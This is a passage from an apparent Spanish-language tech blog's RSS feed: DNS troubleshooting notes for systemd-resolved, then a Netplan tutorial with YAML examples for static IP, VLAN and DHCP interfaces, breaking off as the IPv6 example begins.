&lt;h3 id="enrutamiento-persistentes-en-debian-ubuntu">Enrutamiento persistentes en (Debian, Ubuntu)&lt;/h3>
&lt;blockquote>
&lt;p>PENDIENTE DE ESCRIBIR CON NETPLAN&lt;/p>
&lt;/blockquote>
&lt;h1 id="header3">Domain Name System o DNS&lt;/h1>
&lt;p>cat /etc/resolv.conf&lt;/p>
&lt;p>sudo ss -lpunta&lt;/p>
&lt;p>systemd-resolve &amp;ndash;status&lt;/p>
&lt;p>dig &lt;a class="link" href="https://www.mytcip.com" target="_blank" rel="noopener"
>www.mytcip.com&lt;/a>
para ver el server 127.0.0.53&lt;/p>
&lt;p>systemd-resolve &amp;ndash;statistics
sudo systemd-resolve &amp;ndash;flush-caches
systemd-resolve &amp;ndash;statistics&lt;/p>
&lt;p>POSIBLEMENTE LA PARTE DE CONFIGURACION DE DNS VAYA EN NETPLAN&lt;/p>
&lt;p>&lt;a class="link" href="https://wiki.archlinux.org/index.php/Systemd-resolved_%28Espa%C3%B1ol%29" target="_blank" rel="noopener"
>https://wiki.archlinux.org/index.php/Systemd-resolved_(Espa%C3%B1ol)&lt;/a>&lt;/p>
&lt;p>sudo apt install resolvconf
&lt;a class="link" href="https://www.systeminside.net/como-soluciono-resolucion-dns-ubuntu/" target="_blank" rel="noopener"
>https://www.systeminside.net/como-soluciono-resolucion-dns-ubuntu/&lt;/a>&lt;/p>
&lt;p>&lt;a class="link" href="https://moss.sh/es/configuracion-problematica-systemd-resolved/" target="_blank" rel="noopener"
>https://moss.sh/es/configuracion-problematica-systemd-resolved/&lt;/a>&lt;/p>
&lt;p>&lt;a class="link" href="https://www.procamora.com/downloads/rh_ip_command_cheatsheet_1214_jcs_print.pdf" >ip COMMAND Cheat Sheet for Red Hat Enterprise Linux&lt;/a>&lt;/p></description></item><item><title>Netplan</title><link>https://www.procamora.com/p/netplan/</link><pubDate>Sun, 15 Mar 2020 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/netplan/</guid><description>&lt;img src="https://www.procamora.com/covers/draft.png" alt="Featured image of post Netplan" />&lt;p>Netplan es la nueva utilidad de Linux para la configuración de red de los sistemas. Se basa en crear un fichero de texto siguiendo las especificaciones YAML. Este fichero tiene que estar ubicado en el directorio &lt;em>/etc/netplan&lt;/em>. Por defecto se crea el fichero &lt;em>50-cloud-init.yaml&lt;/em> que tendrá la primera interfaz puesta en DHCP, a no ser que durante la instalación se haya indicado lo contrario.&lt;/p>
&lt;blockquote>
&lt;p>Es importante destacar que YAML no funciona bien con tabuladores y que aunque no hay una especificación formal de como formatear los ficheros, mi recomendación de usar espacios y que cada subsección este separada por dos espacios del padre.
También indicar que permite un formato amplio a la hora de especificar las configuraciones, muchas veces se pueden indicar en formato lineal o multi-lineal.&lt;/p>
&lt;/blockquote>
&lt;p>&lt;img src="https://www.procamora.com/images/2019/netplan_design_overview.svg"
loading="lazy"
alt="netplan"
>{:height=&amp;ldquo;auto&amp;rdquo; width=&amp;ldquo;50%&amp;rdquo;}&lt;/p>
&lt;p>Para modificar las interfaces, lo recomendable es cambiar la extensión de ese fichero, para que netplan no lo reconozca y crear uno nuevo, por ejemplo &lt;em>01-netcfg.yaml&lt;/em>. Este fichero es el que debería de tener toda la configuración de las interfaces, aunque se puede crear un fichero diferente por cada interfaz.&lt;/p>
&lt;blockquote>
&lt;p>Si se tiene la misma interfaz en distintos ficheros y se les asignan IPs en cada uno, se crearan varias IPs virtuales.&lt;/p>
&lt;/blockquote>
&lt;p>Hay que tener en cuenta que netplan admite dos formas de configurar el host:&lt;/p>
&lt;ul>
&lt;li>NetworkManager: que será utilizado cuando disponemos de entorno gráfico o dejamos que este se encarga de la configuración.&lt;/li>
&lt;li>Systemd-networkd: será usando cuando no disponemos de entorno gráfico o cuando hacemos la configuración manualmente.&lt;/li>
&lt;/ul>
&lt;p>A continuación se puede ver un ejemplo de como se especifica estas formas:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;span class="lnt">9
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-yaml" data-lang="yaml">&lt;span class="line">&lt;span class="cl">&lt;span class="c"># Opción Network Manager&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">network&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">version&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="m">2&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">renderer&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">NetworkManager&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="c"># Opción Systemd-networkd&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">network&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">version&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="m">2&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">renderer&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">networkd&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="ipv4">IPv4&lt;/h1>
&lt;p>A continuación se muestra un ejemplo de un fichero de configuración con tres interfaces. La configuración de estas interfaces también se ven en la siguiente tabla:&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>INTERFAZ&lt;/th>
&lt;th>IP&lt;/th>
&lt;th>VLAN&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>enp0s3&lt;/td>
&lt;td>10.0.2.16&lt;/td>
&lt;td>No&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>enp0s8&lt;/td>
&lt;td>192.168.10.11&lt;/td>
&lt;td>100&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>enp0s9&lt;/td>
&lt;td>DHCP&lt;/td>
&lt;td>No&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-yaml" data-lang="yaml">&lt;span class="line">&lt;span class="cl">&lt;span class="c"># This file describe the network interfaces avaliable on your system&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="c"># For more information, see netplan(5)&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">network&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">version&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="m">2&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">renderer&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">networkd&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">ethernets&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="c"># IP FIJA&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">enp0s3&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">dhcp4&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="kc">no&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">dhcp6&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="kc">no&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">addresses&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="m">10.0.2.16&lt;/span>&lt;span class="l">/24]&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">gateway4&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="m">10.0.2.2&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">nameservers&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">search&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="l">localhost]&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">addresses&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="m">1.1.1.1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="m">9.9.9.9&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-yaml" data-lang="yaml">&lt;span class="line">&lt;span class="cl">&lt;span class="c"># This file describe the network interfaces avaliable on your system&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="c"># For more information, see netplan(5)&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">network&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">version&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="m">2&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">renderer&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">networkd&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">ethernets&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="c"># IP con VLAN&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">enp0s8&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>{}&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="c"># IP con DHCP&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">vlans&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">vlans.100&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">ip&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="m">100&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">link&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">enp0s8&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">addresses&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="m">192.168.10.11&lt;/span>&lt;span class="l">/24]&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;span class="lnt">9
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-yaml" data-lang="yaml">&lt;span class="line">&lt;span class="cl">&lt;span class="c"># This file describe the network interfaces avaliable on your system&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="c"># For more information, see netplan(5)&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">network&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">version&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="m">2&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">renderer&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">networkd&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">ethernets&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">enp0s9&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">dhcp4&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="kc">true&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>El fichero completo seria el siguiente:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;span class="lnt">24
&lt;/span>&lt;span class="lnt">25
&lt;/span>&lt;span class="lnt">26
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-yaml" data-lang="yaml">&lt;span class="line">&lt;span class="cl">&lt;span class="c"># This file describe the network interfaces avaliable on your system&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="c"># For more information, see netplan(5)&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">network&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">version&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="m">2&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">renderer&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">networkd&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">ethernets&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="c"># IP FIJA&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">enp0s3&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">dhcp4&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="kc">no&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">dhcp6&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="kc">no&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">addresses&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="m">10.0.2.16&lt;/span>&lt;span class="l">/24]&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">gateway4&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="m">10.0.2.2&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">nameservers&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">search&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="l">localhost]&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">addresses&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="m">1.1.1.1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="m">9.9.9.9&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="c"># IP con VLAN&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">enp0s8&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>{}&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="c"># IP con DHCP&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">enp0s9&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">dhcp4&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="kc">true&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">vlans&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">vlans.100&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">ip&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="m">100&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">link&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">enp0s8&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">addresses&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="m">192.168.10.11&lt;/span>&lt;span class="l">/24]&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="ipv6">IPv6&lt;/h1>
&lt;p>También se puede configurar direcciones IPv6, la configuración es prácticamente la misma, solo hay que tener en cuenta dos cambios:&lt;/p>
&lt;ul>
&lt;li>El formato en el que se introducen las direcciones IP en vez de colocarse en una única linea, tienen que hacerse en una linea por dirección IP.&lt;/li>
&lt;li>La dirección IPv6 tiene que colocarse dentro de comillas.&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;p>Estos cambios no se porque son necesarios, pero es de la única forma que me ha funcionado en las pruebas realizadas.&lt;/p>
&lt;/blockquote>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;span class="lnt">24
&lt;/span>&lt;span class="lnt">25
&lt;/span>&lt;span class="lnt">26
&lt;/span>&lt;span class="lnt">27
&lt;/span>&lt;span class="lnt">28
&lt;/span>&lt;span class="lnt">29
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-yaml" data-lang="yaml">&lt;span class="line">&lt;span class="cl">&lt;span class="c"># This file describe the network interfaces avaliable on your system&lt;/span>&lt;span class="w">
